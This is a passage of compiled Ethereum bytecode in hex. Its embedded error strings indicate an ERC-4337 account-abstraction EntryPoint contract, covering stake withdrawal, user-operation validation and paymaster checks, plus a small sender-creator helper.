00465ffffffffffff166116f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f6d7573742063616c6c20756e6c6f636b5374616b6528292066697273740000006044820152606401610757565b60018201544273010000000000000000000000000000000000000090910465ffffffffffff161115611786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f5374616b65207769746864726177616c206973206e6f742064756500000000006044820152606401610757565b6001820180547fffffffffffffff000000000000000000000000000000000000000000000000ff1690556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810183905233917fb7c918e0e249f999e965cafeb6c664271b3f4317d296461500e71da39f0cbda3910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d806000811461185b576040519150601f19603f3d011682016040523d82523d6000602084013e611860565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6661696c656420746f207769746864726177207374616b6500000000000000006044820152606401610757565b6118d3613eae565b6118db613dfc565b6118e48361247d565b6000806118f3600086856125f0565b845160e001516040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff95861683528282528483206001908101546dffffffffffffffffffffffffffff6101008083048216885263ffffffff6f010000000000000000000000000000009384900481169095528e51518951808b018b5288815280880189815291909b1688528787528988209094015490810490911689520490911690528351808501909452818452830152939550919350903660006119c360408b018b614980565b9092509050600060148210156119da5760006119f5565b6119e86014600084866149e5565b6119f191614a0f565b60601c5b6040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff86168352908290529290206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff169091529091509350505050600085905060006040518060a001604052808960800151815260200189604001518152602001888152602001878152602001611aa78a6060015190565b905260408051808201825260035473ffffffffffffffffffffffffffffffffffffffff908116825282518084019093526004548352600554602084810191909152820192909252919250831615801590611b18575060018373ffffffffffffffffffffffffffffffffffffffff1614155b15611b9c5760408051808201825273ffffffffffffffffffffffffffffffffffffffff851680825282518084018452600080825260208083018281529382528181529490206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff16909152909182015290505b6040805160a081018252928352602083019590955293810192909252506060810192909252608082015295945050505050565b611bd7613dfc565b611be08561247d565b611bec600086836125f0565b5060009050606073ffffffffffffffffffffffffffffffffffffffff861615611c7f578573ffffffffffffffffffffffffffffffffffffffff168585604051611c369291906148b5565b6000604051808303816000865af19150503d8060008114611c73576040519150601f19603f3d011682016040523d82523d6000602084013e611c78565b606091505b5090925090505b81816040517fd12c41340000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b611cbd61243c565b816000805b82811015611eaf5736868683818110611cdd57611cdd614848565b9050602002810190611cef9190614a57565b9050366000611cfe8380614a8b565b90925090506000611d156040850160208601614424565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff821601611db6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393620696e76616c69642061676772656761746f720000000000000000006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff811615611e935773ffffffffffffffffffffffffffffffffffffffff8116632dd811338484611dfd6040890189614980565b6040518563ffffffff1660e01b8152600401611e1c9493929190614c43565b60006040518083038186803b158015611e3457600080fd5b505afa925050508015611e45575060015b611e93576040517f86a9f75000000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152602401610757565b611e9d82876147ea565b95505060019093019250611cc2915050565b5060008167ffffffffffffffff811115611ecb57611ecb613fa8565b604051908082528060200260200182016040528015611f0457816020015b611ef1613dfc565b815260200190600190039081611ee95790505b5090506000805b84811015611fe15736888883818110611f2657611f26614848565b9050602002810190611f389190614a57565b9050366000611f478380614a8b565b90925090506000611f5e6040850160208601614424565b90508160005b81811015611fcf576000898981518110611f8057611f80614848565b60200260200101519050600080611fa38b89898781811061119357611193614848565b91509150611fb384838389612c25565b8a611fbd816147fd565b9b505060019093019250611f64915050565b505060019094019350611f0b92505050565b506040517fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f97290600090a150600080805b8581101561211c573689898381811061202c5761202c614848565b905060200281019061203e9190614a57565b90506120506040820160208301614424565b73ffffffffffffffffffffffffffffffffffffffff167f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d60405160405180910390a236600061209f8380614a8b565b90925090508060005b8181101561210b576120ea888585848181106120c6576120c6614848565b90506020028101906120d89190614877565b8b8b8151811061123857611238614848565b6120f490886147ea565b965087612100816147fd565b9850506001016120a8565b505060019093019250612011915050565b506040516000907f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d908290a26121528682612e7a565b50505050506112696001600255565b600061216d8234612fc1565b90508173ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4826040516115d291815260200190565b6000806000845160208601878987f195945050505050565b60603d828111156121dd5750815b604051602082018101604052818152816000602083013e9392505050565b6000805a85519091506000908161221182613001565b60e083015190915073ffffffffffffffffffffffffffffffffffffffff811661223d5782519350612338565b80935060008851111561233857868202955060028a600281111561226357612263614cfa565b146123385760a08301516040517f7c627b2100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff831691637c627b21916122c5908e908d908c908990600401614d29565b600060405180830381600088803b1580156122df57600080fd5b5087f1935050505080156122f1575060015b6123385760006123026108006121cf565b9050806040517fad7954bc0000000000000000000000000000000000000000000000000000000081526004016107579190614d8c565b5a60a0840151606085015160808c01519288039990990198019088038082111561236b576064600a828403020498909801975b505060408901518783029650868110156123e05760028b600281111561239357612393614cfa565b036123b6578096506123a48a613033565b6123b18a6000898b61308f565b612415565b7fdeadaa510000000000000000000000000000000000000000000000000000000060005260206000fd5b8681036123ed8682612fc1565b506000808d600281111561240357612403614cfa565b1490506124128c828b8d61308f565b50505b505050505050949350505050565b600061242e82613117565b805190602001209050919050565b6002805403612477576040517f3ee5aeb500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60028055565b61257d6040517fd69400000000000000000000000000000000000000000000000000000000000060208201527fffffffffffffffffffffffffffffffffffffffff0000000000000000000000003060601b1660228201527f01000000000000000000000000000000000000000000000000000000000000006036820152600090603701604080518083037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00181529190528051602090910120600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff90921691909117905550565b60006125ae61258f6040840184614980565b61259c6020860186614424565b6125a960e0870187614980565b6131dc565b905080516000146106e8576000816040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579291906147a2565b60008060005a845190915061260586826132c5565b61260e86610fba565b6020860152604081015161012082015161010083015160a08401516080850151606086015160c0870151861717171717176effffffffffffffffffffffffffffff8111156126b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f41413934206761732076616c756573206f766572666c6f7700000000000000006044820152606401610757565b60006126e78460c081015160a08201516080830151606084015160408501516101009095015194010101010290565b90506126f68a8a8a8487613410565b965061270a84600001518560200151613651565b61277957896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601a908201527f4141323520696e76616c6964206163636f756e74206e6f6e6365000000000000606082015260800190565b825a860311156127ee57896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413236206f76657220766572696669636174696f6e4761734c696d69740000606082015260800190565b60e084015160609073ffffffffffffffffffffffffffffffffffffffff16156128225761281d8b8b8b856136ac565b975090505b604089018290528060608a015260a08a01355a870301896080018181525050505050505050935093915050565b6000805a90506000612862846060015190565b604051909150600090368261287a60608a018a614980565b915091506060600082600381111561289157843591505b507f72288ed1000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016129d15760008b8b602001516040516024016128f4929190614d9f565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f8dd7712f000000000000000000000000000000000000000000000000000000001790525190915030906242dc53906129879084908f908d90602401614e85565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050925050612a48565b3073ffffffffffffffffffffffffffffffffffffffff166242dc5385858d8b604051602401612a039493929190614ec5565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505091505b602060008351602085016000305af19550600051985084604052505050505080612c1b5760003d80602003612a835760206000803e60005191505b507fdeaddead000000000000000000000000000000000000000000000000000000008103612b1657876040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052600f908201527f41413935206f7574206f66206761730000000000000000000000000000000000606082015260800190565b7fdeadaa51000000000000000000000000000000000000000000000000000000008103612b8057600086608001515a612b4f9087614835565b612b5991906147ea565b6040880151909150612b6a88613033565b612b77886000838561308f565b9550612c199050565b8551805160208089015192015173ffffffffffffffffffffffffffffffffffffffff90911691907ff62676f440ff169a3a9afdbf812e89e7f95975ee8e5c31214ffdef631c5f479290612bd46108006121cf565b604051612be29291906147a2565b60405180910390a3600086608001515a612bfc9087614835565b612c0691906147ea565b9050612c1560028886846121fb565b9550505b505b5050509392505050565b600080612c3185613903565b915091508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612cd357856040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526014908201527f41413234207369676e6174757265206572726f72000000000000000000000000606082015260800190565b8015612d4457856040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526017908201527f414132322065787069726564206f72206e6f7420647565000000000000000000606082015260800190565b6000612d4f85613903565b9250905073ffffffffffffffffffffffffffffffffffffffff811615612dda57866040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526014908201527f41413334207369676e6174757265206572726f72000000000000000000000000606082015260800190565b8115612e7157866040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526021908201527f41413332207061796d61737465722065787069726564206f72206e6f7420647560608201527f6500000000000000000000000000000000000000000000000000000000000000608082015260a00190565b50505050505050565b73ffffffffffffffffffffffffffffffffffffffff8216612ef7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f4141393020696e76616c69642062656e656669636961727900000000000000006044820152606401610757565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d8060008114612f51576040519150601f19603f3d011682016040523d82523d6000602084013e612f56565b606091505b5050905080611269576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f41413931206661696c65642073656e6420746f2062656e6566696369617279006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040812080548290612ff59085906147ea565b91829055509392505050565b6101008101516101208201516000919080820361301f575092915050565b61302b82488301613956565b949350505050565b805180516020808401519281015160405190815273ffffffffffffffffffffffffffffffffffffffff90921692917f67b4fa9642f42120bf031f3051d1824b0fe25627945b27b8a6a65d5761d5482e910160405180910390a350565b835160e0810151815160208088015193015160405173ffffffffffffffffffffffffffffffffffffffff9384169492909316927f49628fd1471006c1482da88028e9ce4dbb080b815c9b0344d39e5a8e6ec1419f916131099189908990899093845291151560208401526040830152606082015260800190565b60405180910390a450505050565b60608135602083013560006131376131326040870187614980565b61396e565b9050600061314b6131326060880188614980565b9050608086013560a087013560c0880135600061316e61313260e08c018c614980565b6040805173ffffffffffffffffffffffffffffffffffffffff9a909a1660208b015289810198909852606089019690965250608087019390935260a086019190915260c085015260e08401526101008084019190915281518084039091018152610120909201905292915050565b606084158015613201575073ffffffffffffffffffffffffffffffffffffffff84163b155b15613240575060408051808201909152601981527f41413230206163636f756e74206e6f74206465706c6f7965640000000000000060208201526132bc565b601482106132ab57600061325760148285876149e5565b61326091614a0f565b60601c9050803b6000036132a957505060408051808201909152601b81527f41413330207061796d6173746572206e6f74206465706c6f796564000000000060208201526132bc565b505b506040805160208101909152600081525b95945050505050565b6132d26020830183614424565b73ffffffffffffffffffffffffffffffffffffffff168152602082810135908201526fffffffffffffffffffffffffffffffff6080808401358281166060850152811c604084015260a084013560c0808501919091528401359182166101008401521c61012082015236600061334b60e0850185614980565b909250905080156133f55760348110156133c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4141393320696e76616c6964207061796d6173746572416e64446174610000006044820152606401610757565b6133cb8282613981565b60a0860152608085015273ffffffffffffffffffffffffffffffffffffffff1660e0840152610fb4565b600060e084018190526080840181905260a084015250505050565b825180516000919061342f888761342a60408b018b614980565b6139f2565b60e0820151600073ffffffffffffffffffffffffffffffffffffffff821661348d5773ffffffffffffffffffffffffffffffffffffffff831660009081526020819052604090205487811161348657808803613489565b60005b9150505b60208801516040517f19822f7c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516916319822f7c9189916134e9918e91908790600401614efc565b60206040518083038160008887f193505050508015613543575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261354091810190614f21565b60015b61358757896135536108006121cf565b6040517f65c8fd4d000000000000000000000000000000000000000000000000000000008152600401610757929190614f3a565b945073ffffffffffffffffffffffffffffffffffffffff82166136445773ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902080548089111561363e578b6040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526017908201527f41413231206469646e2774207061792070726566756e64000000000000000000606082015260800190565b88900390555b5050505095945050505050565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832084821c808552925282208054849167ffffffffffffffff831691908561369e836147fd565b909155501495945050505050565b60606000805a855160e081015173ffffffffffffffffffffffffffffffffffffffff81166000908152602081905260409020805493945091929091908781101561375b578a6040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413331207061796d6173746572206465706f73697420746f6f206c6f770000606082015260800190565b87810382600001819055506000846080015190508373ffffffffffffffffffffffffffffffffffffffff166352b7512c828d8d602001518d6040518563ffffffff1660e01b81526004016137b193929190614efc565b60006040518083038160008887f19350505050801561381057506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261380d9190810190614f87565b60015b613854578b6138206108006121cf565b6040517f65c8fd4d000000000000000000000000000000000000000000000000000000008152600401610757929190615008565b9098509650805a870311156138f4578b6040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526027908201527f41413336206f766572207061796d6173746572566572696669636174696f6e4760608201527f61734c696d697400000000000000000000000000000000000000000000000000608082015260a00190565b50505050505094509492505050565b6000808260000361391957506000928392509050565b600061392484613d7e565b9050806040015165ffffffffffff1642118061394b5750806020015165ffffffffffff1642105b905194909350915050565b60008183106139655781613967565b825b9392505050565b6000604051828085833790209392505050565b6000808061399260148286886149e5565b61399b91614a0f565b60601c6139ac6024601487896149e5565b6139b591615055565b60801c6139c660346024888a6149e5565b6139cf91615055565b9194506fffffffffffffffffffffffffffffffff16925060801c90509250925092565b8015610fb45782515173ffffffffffffffffffffffffffffffffffffffff81163b15613a8357846040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601f908201527f414131302073656e64657220616c726561647920636f6e737472756374656400606082015260800190565b6000613aa460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3686600001516040015186866040518463ffffffff1660e01b8152600401613ae7929190614929565b60206040518083038160008887f1158015613b06573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b2b919061493d565b905073ffffffffffffffffffffffffffffffffffffffff8116613bb357856040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601b908201527f4141313320696e6974436f6465206661696c6564206f72204f4f470000000000606082015260800190565b8173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613c5057856040517f220266b600000000000000000000000000000000000000000000000000000000815260040161075791815260406020808301829052908201527f4141313420696e6974436f6465206d7573742072657475726e2073656e646572606082015260800190565b8073ffffffffffffffffffffffffffffffffffffffff163b600003613cd957856040517f220266b600000000000000000000000000000000000000000000000000000000815260040161075791815260406020808301829052908201527f4141313520696e6974436f6465206d757374206372656174652073656e646572606082015260800190565b6000613ce860148286886149e5565b613cf191614a0f565b60601c90508273ffffffffffffffffffffffffffffffffffffffff1686602001517fd51a9c61267aa6196961883ecf5ff2da6619c37dac0fa92122513fb32c032d2d83896000015160e00151604051613d6d92919073ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b60405180910390a350505050505050565b60408051606081018252600080825260208201819052918101919091528160a081901c65ffffffffffff8116600003613dba575065ffffffffffff5b6040805160608101825273ffffffffffffffffffffffffffffffffffffffff909316835260d09490941c602083015265ffffffffffff16928101929092525090565b6040518060a00160405280613e89604051806101400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b8152602001600080191681526020016000815260200160008152602001600081525090565b6040518060a00160405280613eeb6040518060a0016040528060008152602001600081526020016000815260200160008152602001606081525090565b8152602001613f0d604051806040016040528060008152602001600081525090565b8152602001613f2f604051806040016040528060008152602001600081525090565b8152602001613f51604051806040016040528060008152602001600081525090565b8152602001613f5e613f63565b905290565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001613f5e604051806040016040528060008152602001600081525090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405160a0810167ffffffffffffffff81118282101715613ffa57613ffa613fa8565b60405290565b604051610140810167ffffffffffffffff81118282101715613ffa57613ffa613fa8565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff8111828210171561406b5761406b613fa8565b604052919050565b600067ffffffffffffffff82111561408d5761408d613fa8565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b73ffffffffffffffffffffffffffffffffffffffff811681146140db57600080fd5b50565b80356110ec816140b9565b60008183036101c08112156140fd57600080fd5b614105613fd7565b91506101408082121561411757600080fd5b61411f614000565b915061412a846140de565b82526020840135602083015260408401356040830152606084013560608301526080840135608083015260a084013560a083015260c084013560c083015261417460e085016140de565b60e0830152610100848101359083015261012080850135908301529082528201356020820152610160820135604082015261018082013560608201526101a0909101356080820152919050565b60008083601f8401126141d357600080fd5b50813567ffffffffffffffff8111156141eb57600080fd5b60208301915083602082850101111561420357600080fd5b9250929050565b600080600080610200858703121561422157600080fd5b843567ffffffffffffffff8082111561423957600080fd5b818701915087601f83011261424d57600080fd5b813561426061425b82614073565b614024565b81815289602083860101111561427557600080fd5b81602085016020830137600060208383010152809750505061429a88602089016140e9565b94506101e08701359150808211156142b157600080fd5b506142be878288016141c1565b95989497509550505050565b6000602082840312156142dc57600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461396757600080fd5b60006020828403121561431e57600080fd5b813563ffffffff8116811461396757600080fd5b803577ffffffffffffffffffffffffffffffffffffffffffffffff811681146110ec57600080fd5b60006020828403121561436c57600080fd5b61396782614332565b6000806040838503121561438857600080fd5b8235614393816140b9565b91506143a160208401614332565b90509250929050565b600080604083850312156143bd57600080fd5b82356143c8816140b9565b946020939093013593505050565b600061012082840312156143e957600080fd5b50919050565b60006020828403121561440157600080fd5b813567ffffffffffffffff81111561441857600080fd5b61302b848285016143d6565b60006020828403121561443657600080fd5b8135613967816140b9565b60005b8381101561445c578181015183820152602001614444565b50506000910152565b6000815180845261447d816020860160208601614441565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60208152815160208201526020820151604082015260408201516060820152606082015160808201526080820151151560a0820152600060a083015160c08084015261302b60e0840182614465565b60008083601f84011261451057600080fd5b50813567ffffffffffffffff81111561452857600080fd5b6020830191508360208260051b850101111561420357600080fd5b60008060006040848603121561455857600080fd5b833567ffffffffffffffff81111561456f57600080fd5b61457b868287016144fe565b909450925050602084013561458f816140b9565b809150509250925092565b6000806000604084860312156145af57600080fd5b83356145ba816140b9565b9250602084013567ffffffffffffffff8111156145d657600080fd5b6145e2868287016141c1565b9497909650939450505050565b6000806020838503121561460257600080fd5b823567ffffffffffffffff81111561461957600080fd5b614625858286016141c1565b90969095509350505050565b602080825282516101408383015280516101608401529081015161018083015260408101516101a083015260608101516101c08301526080015160a06101e0830152600090614684610200840182614465565b905060208401516146a2604085018280518252602090810151910152565b506040840151805160808581019190915260209182015160a08601526060860151805160c087015282015160e0860152850151805173ffffffffffffffffffffffffffffffffffffffff1661010086015280820151805161012087015290910151610140850152509392505050565b6000806000806060858703121561472757600080fd5b843567ffffffffffffffff8082111561473f57600080fd5b61474b888389016143d6565b95506020870135915061475d826140b9565b909350604086013590808211156142b157600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b82815260406020820152600061302b6040830184614465565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b80820180821115610a2c57610a2c6147bb565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361482e5761482e6147bb565b5060010190565b81810381811115610a2c57610a2c6147bb565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600082357ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee18336030181126148ab57600080fd5b9190910192915050565b8183823760009101908152919050565b821515815260406020820152600061302b6040830184614465565b8183528181602085013750600060208284010152600060207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116840101905092915050565b60208152600061302b6020830184866148e0565b60006020828403121561494f57600080fd5b8151613967816140b9565b65ffffffffffff818116838216019080821115614979576149796147bb565b5092915050565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18436030181126149b557600080fd5b83018035915067ffffffffffffffff8211156149d057600080fd5b60200191503681900382131561420357600080fd5b600080858511156149f557600080fd5b83861115614a0257600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff0000000000000000000000008135818116916014851015614a4f5780818660140360031b1b83161692505b505092915050565b600082357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa18336030181126148ab57600080fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112614ac057600080fd5b83018035915067ffffffffffffffff821115614adb57600080fd5b6020019150600581901b360382131561420357600080fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112614b2857600080fd5b830160208101925035905067ffffffffffffffff811115614b4857600080fd5b80360382131561420357600080fd5b6000610120614b8384614b69856140de565b73ffffffffffffffffffffffffffffffffffffffff169052565b60208301356020850152614b9a6040840184614af3565b826040870152614bad83870182846148e0565b92505050614bbe6060840184614af3565b8583036060870152614bd18382846148e0565b925050506080830135608085015260a083013560a085015260c083013560c0850152614c0060e0840184614af3565b85830360e0870152614c138382846148e0565b92505050610100614c2681850185614af3565b86840383880152614c388482846148e0565b979650505050505050565b6040808252810184905260006060600586901b830181019083018783805b89811015614ce3577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa087860301845282357ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee18c3603018112614cc1578283fd5b614ccd868d8301614b57565b9550506020938401939290920191600101614c61565b505050508281036020840152614c388185876148e0565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600060038610614d62577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b85825260806020830152614d796080830186614465565b6040830194909452506060015292915050565b6020815260006139676020830184614465565b604081526000614db26040830185614b57565b90508260208301529392505050565b8051805173ffffffffffffffffffffffffffffffffffffffff1683526020810151602084015260408101516040840152606081015160608401526080810151608084015260a081015160a084015260c081015160c084015260e0810151614e4060e085018273ffffffffffffffffffffffffffffffffffffffff169052565b5061010081810151908401526101209081015190830152602081015161014083015260408101516101608301526060810151610180830152608001516101a090910152565b6000610200808352614e9981840187614465565b9050614ea86020840186614dc1565b8281036101e0840152614ebb8185614465565b9695505050505050565b6000610200808352614eda81840187896148e0565b9050614ee96020840186614dc1565b8281036101e0840152614c388185614465565b606081526000614f0f6060830186614b57565b60208301949094525060400152919050565b600060208284031215614f3357600080fd5b5051919050565b82815260606020820152600d60608201527f4141323320726576657274656400000000000000000000000000000000000000608082015260a06040820152600061302b60a0830184614465565b60008060408385031215614f9a57600080fd5b825167ffffffffffffffff811115614fb157600080fd5b8301601f81018513614fc257600080fd5b8051614fd061425b82614073565b818152866020838501011115614fe557600080fd5b614ff6826020830160208601614441565b60209590950151949694955050505050565b82815260606020820152600d60608201527f4141333320726576657274656400000000000000000000000000000000000000608082015260a06040820152600061302b60a0830184614465565b7fffffffffffffffffffffffffffffffff000000000000000000000000000000008135818116916010851015614a4f5760109490940360031b84901b169092169291505056fea264697066735822122022e02178dc569768380168e9e3ea80c02f334e22212a424c7e3d8b24376c948964736f6c63430008170033608060405234801561001057600080fd5b50610213806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063570e1a3614610030575b600080fd5b61004361003e3660046100f9565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60008061007c601482858761016b565b61008591610195565b60601c90506000610099846014818861016b565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525084519495509360209350849250905082850182875af190506000519350806100f057600093505b50505092915050565b6000806020838503121561010c57600080fd5b823567ffffffffffffffff8082111561012457600080fd5b818501915085601f83011261013857600080fd5b81358181111561014757600080fd5b86602082850101111561015957600080fd5b60209290920196919550909350505050565b6000808585111561017b57600080fd5b8386111561018857600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081358181169160148510156101d55780818660140360031b1b83161692505b50509291505056fea2646970667358221220f4eeea3c52e568afe7af0cb6d22e9eba322f25189228e2d96485c8f1d485112464736f6c63430008170033
|
60806040526004361061016d5760003560e01c806370a08231116100cb578063bb9fe6bf1161007f578063c5f996e611610059578063c5f996e6146105b9578063dbed18e0146105d9578063fc7e286d146105f957600080fd5b8063bb9fe6bf14610557578063c23a5cea1461056c578063c3bce0091461058c57600080fd5b8063850aaf62116100b0578063850aaf62146105045780639b249f6914610524578063b760faf91461054457600080fd5b806370a08231146104a1578063765e827f146104e457600080fd5b8063205c28781161012257806335567e1a1161010757806335567e1a146102905780635287ce12146103255780635895273b1461047457600080fd5b8063205c28781461025057806322cdde4c1461027057600080fd5b80630396cb60116101535780630396cb60146101e55780630bd28e3b146101f85780631b2e01b81461021857600080fd5b806242dc531461018257806301ffc9a7146101b557600080fd5b3661017d5761017b336106cb565b005b600080fd5b34801561018e57600080fd5b506101a261019d36600461420a565b6106ec565b6040519081526020015b60405180910390f35b3480156101c157600080fd5b506101d56101d03660046142ca565b6108b5565b60405190151581526020016101ac565b61017b6101f336600461430c565b610a32565b34801561020457600080fd5b5061017b61021336600461435a565b610dc8565b34801561022457600080fd5b506101a2610233366004614375565b600160209081526000928352604080842090915290825290205481565b34801561025c57600080fd5b5061017b61026b3660046143aa565b610e10565b34801561027c57600080fd5b506101a261028b3660046143ef565b610fba565b34801561029c57600080fd5b506101a26102ab366004614375565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff8516845290915290819020549082901b7fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000161792915050565b34801561033157600080fd5b50610412610340366004614424565b6040805160a0810182526000808252602082018190529181018290526060810182905260808101919091525073ffffffffffffffffffffffffffffffffffffffff1660009081526020818152604091829020825160a0810184528154815260019091015460ff811615159282019290925261010082046dffffffffffffffffffffffffffff16928101929092526f01000000000000000000000000000000810463ffffffff166060830152730100000000000000000000000000000000000000900465ffffffffffff16608082015290565b6040516101ac9190600060a082019050825182526020830151151560208301526dffffffffffffffffffffffffffff604084015116604083015263ffffffff606084015116606083015265ffffffffffff608084015116608083015292915050565b34801561048057600080fd5b5061049461048f3660046143ef565b610ffc565b6040516101ac91906144af565b3480156104ad57600080fd5b506101a26104bc366004614424565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b3480156104f057600080fd5b5061017b6104ff366004614543565b6110f1565b34801561051057600080fd5b5061017b61051f36600461459a565b61126e565b34801561053057600080fd5b5061017b61053f3660046145ef565b611313565b61017b610552366004614424565b6106cb565b34801561056357600080fd5b5061017b6113fe565b34801561057857600080fd5b5061017b610587366004614424565b6115de565b34801561059857600080fd5b506105ac6105a73660046143ef565b6118cb565b6040516101ac9190614631565b3480156105c557600080fd5b5061017b6105d4366004614711565b611bcf565b3480156105e557600080fd5b5061017b6105f4366004614543565b611cb5565b34801561060557600080fd5b50610681610614366004614424565b6000602081905290815260409020805460019091015460ff81169061010081046dffffffffffffffffffffffffffff16906f01000000000000000000000000000000810463ffffffff1690730100000000000000000000000000000000000000900465ffffffffffff1685565b6040805195865293151560208601526dffffffffffffffffffffffffffff9092169284019290925263ffffffff909116606083015265ffffffffffff16608082015260a0016101ac565b60015b60058110156106df576001016106ce565b6106e882612161565b5050565b6000805a9050333014610760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393220696e7465726e616c2063616c6c206f6e6c7900000000000000000060448201526064015b60405180910390fd5b8451606081015160a082015181016127100160405a603f028161078557610785614773565b0410156107b6577fdeaddead0000000000000000000000000000000000000000000000000000000060005260206000fd5b8751600090156108575760006107d3846000015160008c866121b7565b9050806108555760006107e76108006121cf565b80519091501561084f57846000015173ffffffffffffffffffffffffffffffffffffffff168a602001517